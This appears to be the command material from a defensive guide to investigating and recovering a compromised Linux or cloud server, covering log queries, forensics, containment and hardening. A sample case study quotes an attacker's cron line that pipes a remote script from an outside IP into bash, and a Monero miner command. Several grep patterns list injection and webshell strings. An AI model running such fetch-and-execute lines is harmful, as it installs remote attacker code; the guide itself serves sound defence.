# Show all logs from the past 24 hours
journalctl --since "24 hours ago"

# Show SSH service logs
journalctl -u ssh --since "2024-01-01" --until "2024-01-07"

# Show logs for a specific process ID
journalctl _PID=1234

# Show kernel messages
journalctl -k

# Follow logs in real time
journalctl -f

# Show logs with priority warning or higher
journalctl -p warning

# Query failed logons in the past hour
Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4625; StartTime=(Get-Date).AddHours(-1)}

# Query new service installations
Get-WinEvent -FilterHashtable @{LogName='System'; Id=7045}

# Export security logs for offline analysis
wevtutil epl Security C:\forensics\security.evtx

# Default access log
tail -f /var/log/nginx/access.log

# Look for POST requests to unusual paths (webshell access)
grep "POST" /var/log/nginx/access.log | grep -v "api\|login\|upload"

# Look for scanning patterns (many 404s from one IP)
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | head -20

# Look for unusual user agents (curl, python-requests, sqlmap)
grep -i "sqlmap\|nikto\|nmap\|masscan\|python-requests" /var/log/nginx/access.log

# Apache access log
tail -f /var/log/apache2/access.log

# Combined log format analysis
cat /var/log/apache2/access.log | awk '{print $9}' | sort | uniq -c | sort -rn
# Shows HTTP status code distribution — many 200s on unusual paths = webshell hits

# Use AWS CLI to query CloudTrail events
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=ConsoleLogin \
  --start-time 2024-01-01T00:00:00Z \
  --end-time 2024-01-07T00:00:00Z

# Look for root account usage (always suspicious)
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=Username,AttributeValue=root

# Look for IAM changes
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=CreateUser

# Look for security group changes (attacker opening ports)
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=EventName,AttributeValue=AuthorizeSecurityGroupIngress

# View admin activity logs
gcloud logging read "logName=projects/YOUR_PROJECT/logs/cloudaudit.googleapis.com%2Factivity" \
  --limit 100 --format json

# Filter for IAM policy changes
gcloud logging read 'protoPayload.methodName="SetIamPolicy"' --limit 50

# Query sign-in logs for failures (Azure CLI)
az monitor activity-log list \
  --start-time 2024-01-01T00:00:00Z \
  --end-time 2024-01-07T00:00:00Z \
  --query "[?authorization.action=='Microsoft.Authorization/roleAssignments/write']"

# iptables — view current rules
iptables -L -n -v

# View recent iptables drops (if logging enabled)
grep "iptables" /var/log/syslog | tail -50

# UFW logs
grep "UFW" /var/log/ufw.log | grep "BLOCK" | tail -50

# fail2ban — view currently banned IPs
fail2ban-client status sshd

# See all bans across all jails
fail2ban-client status

# Docker — view container logs
docker logs <container_id> --tail 200 --follow

# Inspect a running container's processes
docker top <container_id>

# Check for unexpected containers
docker ps -a

# Kubernetes — view pod logs
kubectl logs <pod-name> -n <namespace> --previous

# View Kubernetes audit log (if enabled)
kubectl get events --sort-by=.metadata.creationTimestamp -n kube-system

# Check for privileged pods (common escalation vector)
kubectl get pods --all-namespaces -o json | \
  jq '.items[] | select(.spec.containers[].securityContext.privileged==true) | .metadata.name'

# Splunk — find parent-child process anomalies (webshell execution)
index=endpoint | eval parent_child=parent_process+"-"+process_name
| stats count by parent_child | sort -count

# Elastic/Kibana KQL — find new privileged users
event.code: 4728 OR event.code: 4732

# Look for lateral movement (new SMB connections)
event.action: "network_connection" AND destination.port: 445

┌─────────────────────────────────────────────────────────────────┐
│                  INCIDENT INVESTIGATION FLOW                    │
│                                                                 │
│  1. Confirm Indicators  →  2. Preserve Evidence                 │
│           ↓                        ↓                            │
│  3. Identify Access     →  4. Determine Attacker Actions        │
│     Vector                         ↓                            │
│           ↓                5. Check Persistence                 │
│  6. Scope Affected      ←          ↓                            │
│     Systems             ←  7. Reconstruct Timeline              │
└─────────────────────────────────────────────────────────────────┘

# Create a forensics output directory
mkdir -p /tmp/forensics && cd /tmp/forensics

# Capture running processes snapshot
ps auxf > processes.txt

# Capture active network connections
ss -tulpn > network_connections.txt
netstat -tulpn >> network_connections.txt

# Capture logged-in users
who > who.txt
w >> who.txt
last -n 100 > last_logins.txt

# Dump current iptables rules
iptables-save > iptables_rules.txt

# Dump crontabs
crontab -l > root_cron.txt 2>/dev/null
for user in $(cut -f1 -d: /etc/passwd); do
  echo "=== $user ===" >> all_crontabs.txt
  crontab -u $user -l 2>/dev/null >> all_crontabs.txt
done

# Capture loaded kernel modules
lsmod > kernel_modules.txt

# Copy critical log files
cp /var/log/auth.log ./ 2>/dev/null || cp /var/log/secure ./ 2>/dev/null
cp /var/log/syslog ./ 2>/dev/null

# Take a memory dump (if avango or LiME is available)
# avml /tmp/forensics/memory.lime

# Hash all collected files for chain-of-custody
sha256sum * > evidence_hashes.txt

# Check SSH login history for the first suspicious successful login
grep "Accepted" /var/log/auth.log | grep -v "YOUR_KNOWN_IPS"

# Check for web exploitation via suspicious HTTP methods/paths
grep -E "(UNION|SELECT|DROP|exec\(|eval\(|base64_decode|cmd=|exec=)" \
  /var/log/nginx/access.log

# Find recently created files (modified in last 7 days) — may reveal dropped payloads
find / -mtime -7 -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null | \
  grep -v "\.log$" | head -50

# Check bash history for all users (attackers sometimes forget to clear it)
cat /root/.bash_history
for user in $(cut -f1 -d: /etc/passwd); do
  home=$(eval echo ~$user)
  if [ -f "$home/.bash_history" ]; then
    echo "=== History for $user ==="
    cat "$home/.bash_history"
  fi
done

# Check if history was cleared (a sign of an attacker)
# An empty .bash_history with a recent mtime is suspicious
ls -la /root/.bash_history

# Check recently accessed files
find / -atime -1 -type f -not -path "/proc/*" 2>/dev/null | head -30

# Check audit logs for specific commands (if auditd was running)
ausearch -i -m execve --start recent

# Look for outbound connections that occurred
grep "ESTABLISHED\|SYN_SENT" /tmp/forensics/network_connections.txt

# ── SSH Keys ──────────────────────────────────────────────────────
# Check all users' authorized_keys files
find /home /root /etc -name "authorized_keys" 2>/dev/null -exec cat {} \; -print

# ── Cron Jobs ─────────────────────────────────────────────────────
ls -la /etc/cron* /var/spool/cron/crontabs/
cat /etc/cron.d/*

# ── Systemd Services ──────────────────────────────────────────────
systemctl list-units --type=service --state=running | grep -v "^UNIT"
# Look for unfamiliar service names
find /etc/systemd/system/ -name "*.service" -newer /etc/passwd

# ── Web Shells ────────────────────────────────────────────────────
# Find PHP webshells (eval, system, exec functions)
find /var/www /srv /opt -name "*.php" -exec grep -l "eval\|system\|exec\|base64_decode" {} \;

# ── SUID Binaries (privilege escalation tools) ────────────────────
find / -perm -4000 -type f -not -path "/proc/*" 2>/dev/null

# ── Startup Scripts ───────────────────────────────────────────────
ls -la /etc/rc.local /etc/rc*.d/ /etc/init.d/
cat /etc/rc.local

# ── LD_PRELOAD Hijacking ──────────────────────────────────────────
cat /etc/ld.so.preload 2>/dev/null
env | grep LD_PRELOAD

# Check for other hosts this server connects to
cat ~/.ssh/known_hosts
cat /etc/hosts
arp -n  # Other hosts in the LAN

# Look for lateral movement via SSH from this server
grep "Accepted\|publickey\|password" /var/log/auth.log | grep "from"

# Check for any cloud API calls that may have been made from this server
grep "aws\|gcloud\|az " /root/.bash_history

# Review AWS IAM credentials used from this instance
# If this is an EC2 with an IAM role, check CloudTrail for calls made by this instance's role
aws cloudtrail lookup-events \
  --lookup-attributes AttributeKey=ResourceName,AttributeValue=i-YOUR_INSTANCE_ID

# Create a unified timeline using log2timeline/plaso (forensics tool)
# Install: pip install plaso
log2timeline.py /tmp/timeline.plaso /var/log/

# Or manually using timestamps from logs
# Combine auth.log, syslog, and web logs sorted by timestamp
cat /var/log/auth.log /var/log/syslog /var/log/nginx/access.log | \
  sort -k1,3 > /tmp/forensics/unified_timeline.txt

# Find file modifications around the suspected breach time
# Example: if breach suspected around 2024-01-15 03:00 UTC
find / -newermt "2024-01-15 02:00" ! -newermt "2024-01-15 06:00" \
  -type f -not -path "/proc/*" 2>/dev/null

# ── last ──────────────────────────────────────────────────────────
# Shows login history: user, TTY, source IP, date/time, duration
last -n 50 -a  # -a shows hostname/IP in last column

# ── lastlog ───────────────────────────────────────────────────────
# Shows the most recent login for every account on the system
# Useful for spotting accounts that should never log in (www-data, daemon)
lastlog

# Filter to show only accounts that HAVE logged in
lastlog | grep -v "Never logged in"

# ── who ───────────────────────────────────────────────────────────
# Shows who is currently logged in
who -a  # -a shows all info including run-level and system boot time

# ── w ─────────────────────────────────────────────────────────────
# Like who, but also shows what command each logged-in user is running
w

# ── ps aux ────────────────────────────────────────────────────────
# Full process listing: user, PID, CPU%, MEM%, command
ps aux

# Sort by CPU usage (find cryptominers)
ps aux --sort=-%cpu | head -20

# Sort by memory usage
ps aux --sort=-%mem | head -20

# Show process tree (reveals parent-child relationships — key for detecting shells)
ps auxf

# ── pstree ────────────────────────────────────────────────────────
# Visual process tree — attackers' reverse shells usually appear as children of web processes
pstree -aup

# ── lsof ──────────────────────────────────────────────────────────
# List all open files and network connections by process
lsof -i  # Show all network connections

# Show what process is using a specific port
lsof -i :4444  # 4444 is a common reverse shell port

# Show all files opened by a specific process
lsof -p <PID>

# Show deleted files that are still open (attacker may have deleted malware but it's still running)
lsof | grep deleted

# ── netstat ───────────────────────────────────────────────────────
# Show all listening ports and established connections
netstat -tulpn   # -t TCP, -u UDP, -l listening, -p show PID, -n numeric

# Show all established connections
netstat -an | grep ESTABLISHED

# ── ss ────────────────────────────────────────────────────────────
# Faster modern replacement for netstat
ss -tulpn        # Same flags as netstat
ss -tnp          # Show TCP connections with process names

# Find processes with unexpected external connections
ss -tnp | grep -v "127.0.0.1\|::1\|YOUR_KNOWN_IPS"

# ── find with -mtime ──────────────────────────────────────────────
# Find files modified in the last N days
find / -mtime -1 -type f -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null

# Find files modified within a specific time range
find /var/www -newermt "2024-01-15 00:00" ! -newermt "2024-01-16 00:00" -type f

# Find files with unusual permissions (world-writable)
find / -perm -o+w -type f -not -path "/proc/*" 2>/dev/null

# Find SUID/SGID binaries
find / -type f \( -perm -4000 -o -perm -2000 \) -not -path "/proc/*" 2>/dev/null

# Find hidden files and directories
find / -name ".*" -type f -not -path "/proc/*" -not -path "/home/*/.bash*" 2>/dev/null | head -30

# ── chkrootkit ────────────────────────────────────────────────────
# Scans for known rootkits by checking system binaries and /proc
# Install: apt install chkrootkit OR yum install chkrootkit
chkrootkit

# Run in quiet mode (only show positive findings)
chkrootkit -q

# ── rkhunter ──────────────────────────────────────────────────────
# More comprehensive: checks binaries, rootkits, backdoors, config
# Install: apt install rkhunter
rkhunter --update          # Update database first
rkhunter --check           # Full system scan
rkhunter --check --rwo     # Only show warnings

# ── auditd ────────────────────────────────────────────────────────
# The Linux Audit Framework — records system calls
# Install: apt install auditd  OR  yum install audit

# Start and enable
systemctl enable auditd && systemctl start auditd

# Add watch rules (add to /etc/audit/rules.d/audit.rules)
# Watch for writes to /etc/passwd
auditctl -w /etc/passwd -p wa -k passwd_change

# Watch for execution of suspicious binaries
auditctl -w /tmp -p x -k tmp_exec
auditctl -w /bin/bash -p x -k bash_exec

# Search audit log for specific events
ausearch -k passwd_change  # Find events matching our watch key
ausearch -m execve --start today  # All exec calls today
ausearch -x /bin/bash --start yesterday  # Bash executions yesterday

# Generate a human-readable audit report
aureport --summary
aureport --login --failed  # Failed logins
aureport --exec            # Execution events

# ── fail2ban ──────────────────────────────────────────────────────
# Monitors logs and bans IPs after repeated failures
# Install: apt install fail2ban
systemctl status fail2ban

# Check active bans
fail2ban-client status
fail2ban-client status sshd

# View banned IPs
fail2ban-client banned

# Manually ban an IP
fail2ban-client set sshd banip 203.0.113.42

# Check if a specific IP is banned
fail2ban-client get sshd banip

# Option A: Block all inbound/outbound traffic except your investigation IP
iptables -I INPUT -s YOUR_IP/32 -j ACCEPT
iptables -I OUTPUT -d YOUR_IP/32 -j ACCEPT
iptables -P INPUT DROP
iptables -P OUTPUT DROP
iptables -P FORWARD DROP

# Option B: AWS — modify the security group to deny all traffic
aws ec2 revoke-security-group-ingress \
  --group-id sg-XXXX \
  --protocol all \
  --cidr 0.0.0.0/0

# Option C: Cloud-level — move to an isolated VPC / detach from load balancer
# Do this via your cloud console to avoid SSH lockout

# View active sessions
who
w

# Kill a specific session (use PTS from `who` output)
pkill -kill -t pts/1

# Kill a specific process (use PID from ps aux)
kill -9 <PID>

# Kill all processes by a suspicious user
pkill -u suspicioususer

# Rotate SSH keys for all users — remove unauthorized keys first
# Edit ~/.ssh/authorized_keys and remove unknown entries
# Then generate new keys for your team
ssh-keygen -t ed25519 -C "new_key_post_incident_$(date +%F)"

# Rotate system user passwords
passwd root
passwd <other_users>

# AWS — rotate IAM access keys
aws iam create-access-key --user-name YOUR_USER
aws iam delete-access-key --user-name YOUR_USER --access-key-id OLD_KEY_ID

# Rotate database passwords
# PostgreSQL example:
psql -U postgres -c "ALTER USER appuser WITH PASSWORD 'new_strong_password';"

# Rotate API keys, webhook secrets, and JWT secrets in your application
# Update environment variables / secrets manager entries

# Update all packages (Ubuntu/Debian)
apt update && apt upgrade -y

# Update all packages (RHEL/CentOS/Amazon Linux)
yum update -y  # or: dnf update -y

# If a specific CVE was exploited, patch that component first
# Example: if OpenSSH was vulnerable
apt install --only-upgrade openssh-server

# Check current versions
nginx -v
openssl version
python3 --version
node --version

# Identify what changed using your baseline or last known-good snapshot
# Compare current file hashes against baseline
md5sum /usr/bin/ls /bin/bash /sbin/sshd > current_hashes.txt
diff baseline_hashes.txt current_hashes.txt

# Restore specific files from backup
rsync -avz backup_server:/backups/latest/etc/ /etc/

# Or restore the entire server from a pre-incident snapshot
# (AWS: restore from AMI or EBS snapshot taken before incident)

# Install Google Authenticator PAM module for SSH MFA
apt install libpam-google-authenticator

# Configure PAM for SSH
echo "auth required pam_google_authenticator.so" >> /etc/pam.d/sshd

# Enforce in sshd_config
echo "ChallengeResponseAuthentication yes" >> /etc/ssh/sshd_config
echo "AuthenticationMethods publickey,keyboard-interactive" >> /etc/ssh/sshd_config
systemctl restart sshd

# Audit sudo access — nobody should have NOPASSWD unless absolutely necessary
grep -r "NOPASSWD" /etc/sudoers /etc/sudoers.d/

# Lock down SSH — disable root login and password authentication
cat >> /etc/ssh/sshd_config << EOF
PermitRootLogin no
PasswordAuthentication no
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
AllowUsers deploy ubuntu YOUR_USER  # Whitelist only needed users
EOF
systemctl restart sshd

# Ubuntu — enable automatic security updates
apt install unattended-upgrades
dpkg-reconfigure --priority=low unattended-upgrades

# Set to auto-apply security patches only
cat > /etc/apt/apt.conf.d/50unattended-upgrades << EOF
Unattended-Upgrade::Allowed-Origins {
    "${distro_id}:${distro_codename}-security";
};
Unattended-Upgrade::Automatic-Reboot "false";
EOF

┌─────────────────────────────────────────────────────────────────┐
│                   LOGGING ARCHITECTURE                          │
│                                                                 │
│  Server Logs  ──►  Log Aggregator  ──►  SIEM / Alerting        │
│  (auth.log,        (Fluentd,             (Elastic/Kibana,       │
│   syslog,           Filebeat,             Splunk, Datadog,      │
│   nginx.log)        Logstash)             Wazuh)                │
│                                                ↓                │
│                                        Alert Rules              │
│                                        - Root login             │
│                                        - New user created       │
│                                        - Port scan detected     │
│                                        - Auth failure spike     │
└─────────────────────────────────────────────────────────────────┘

# Install and configure Wazuh agent (open-source HIDS/SIEM)
# Wazuh monitors files, logs, processes, and vulnerabilities in real time
curl -s https://packages.wazuh.com/key/GPG-KEY-WAZUH | apt-key add -
echo "deb https://packages.wazuh.com/4.x/apt/ stable main" \
  | tee /etc/apt/sources.list.d/wazuh.list
apt update && apt install wazuh-agent

# Configure Wazuh manager connection
sed -i "s|MANAGER_IP|YOUR_WAZUH_MANAGER_IP|g" /var/ossec/etc/ossec.conf
systemctl enable wazuh-agent && systemctl start wazuh-agent

# AIDE — Advanced Intrusion Detection Environment
apt install aide

# Initialize the AIDE database (baseline snapshot)
aideinit
cp /var/lib/aide/aide.db.new /var/lib/aide/aide.db

# Run a check (compare current state to baseline)
aide --check

# Automate daily checks
echo "0 2 * * * root /usr/bin/aide --check | mail -s 'AIDE Report' security@yourcompany.com" \
  >> /etc/crontab

┌─────────────────────────────────────────────────────┐
│              THE 3-2-1 BACKUP RULE                  │
│                                                     │
│  3  copies of your data                             │
│  2  different storage media/services                │
│  1  copy offsite / air-gapped                       │
│                                                     │
│  For cloud servers:                                 │
│  ─ Daily automated EBS snapshots                    │
│  ─ Weekly cross-region backup copy                  │
│  ─ Monthly export to immutable cold storage         │
│  ─ Test restores quarterly                          │
└─────────────────────────────────────────────────────┘

# Disable unused services
systemctl list-units --type=service --state=running
systemctl disable --now bluetooth avahi-daemon cups  # Examples of unneeded services

# Close unused ports with UFW
ufw default deny incoming
ufw default allow outgoing
ufw allow 22/tcp    # SSH
ufw allow 443/tcp   # HTTPS
ufw allow 80/tcp    # HTTP
ufw enable

# Disable IPv6 if not needed
echo "net.ipv6.conf.all.disable_ipv6 = 1" >> /etc/sysctl.conf
sysctl -p

# Restrict access to the metadata service (AWS IMDS v2 only)
aws ec2 modify-instance-metadata-options \
  --instance-id i-YOUR_INSTANCE_ID \
  --http-tokens required \
  --http-endpoint enabled

$ top
# Output shows a process named "kworkerds" consuming 92% CPU
# This is NOT a real kernel worker — it's disguised malware

$ ps aux | grep kworkerds
nobody  14782  92.1  0.2  /tmp/.cache/kworkerds -o pool.monero.hashvault.pro:443 -u <wallet>

# Immediately suspicious: running from /tmp, connecting to a Monero mining pool
$ ls -la /tmp/.cache/
total 2896
drwxr-xr-x 2 nobody nogroup  4096 Jan 15 03:12 .
-rwxr-xr-x 1 nobody nogroup 2.9M Jan 15 03:11 kworkerds

$ ss -tnp | grep 14782
ESTAB  0  0  10.0.1.45:52441  195.201.x.x:443  users:(("kworkerds",pid=14782))
# Outbound connection to a known mining pool IP

$ grep "Jan 15 03:" /var/log/auth.log
Jan 15 03:08:22 sshd: Failed password for root from 91.108.x.x port 44213
# ... 847 more failed lines ...
Jan 15 03:11:47 sshd: Accepted password for nobody from 91.108.x.x port 52109

$ crontab -l -u nobody
* * * * * curl -s http://91.108.x.x/update.sh | bash

$ cat ~/.ssh/authorized_keys  # Check under nobody's home
ssh-rsa AAAAB3NzaC1... attacker@kali
# Attacker's SSH key planted for persistent re-entry

┌───────────────────────────────────────────────────────────────────────────┐
│                         THE DICRP FRAMEWORK                               │
│                                                                           │
│  ┌─────────┐   ┌───────────┐   ┌─────────┐   ┌─────────┐   ┌─────────┐  │
│  │  DETECT │──►│INVESTIGATE│──►│ CONTAIN │──►│ RECOVER │──►│ PREVENT │  │
│  └─────────┘   └───────────┘   └─────────┘   └─────────┘   └─────────┘  │
│                                                                           │
│  Detect        Investigate     Contain         Recover        Prevent     │
│  ─────────     ───────────     ───────         ───────        ───────     │
│  Monitoring    Preserve        Isolate         Restore        Harden      │
│  Alerts        evidence        server          from backup    SSH         │
│  Log review    ID access       Kill sessions   Patch vuln     Enable MFA  │
│  Anomalies     vector          Rotate creds    Verify         FIM         │
│                Timeline        Scope blast     integrity      IDS/SIEM    │
│                Persistence     radius          Resume ops     Least priv  │
└───────────────────────────────────────────────────────────────────────────┘

FIRST 10 MINUTES CHECKLIST
────────────────────────────────────────────────────────────────────
☐ Take a cloud disk snapshot BEFORE doing anything else
☐ Run: ps aux --sort=-%cpu | head -20
☐ Run: ss -tulpn
☐ Run: last -n 50 -a
☐ Run: grep "Accepted" /var/log/auth.log | tail -30
☐ Run: find / -mtime -1 -type f -not -path "/proc/*" 2>/dev/null | head -20
☐ Check: crontab -l && ls /etc/cron.d/
☐ Check: cat ~/.ssh/authorized_keys (for all users)
☐ Isolate server (update security group / iptables)
☐ Notify your incident response team
────────────────────────────────────────────────────────────────────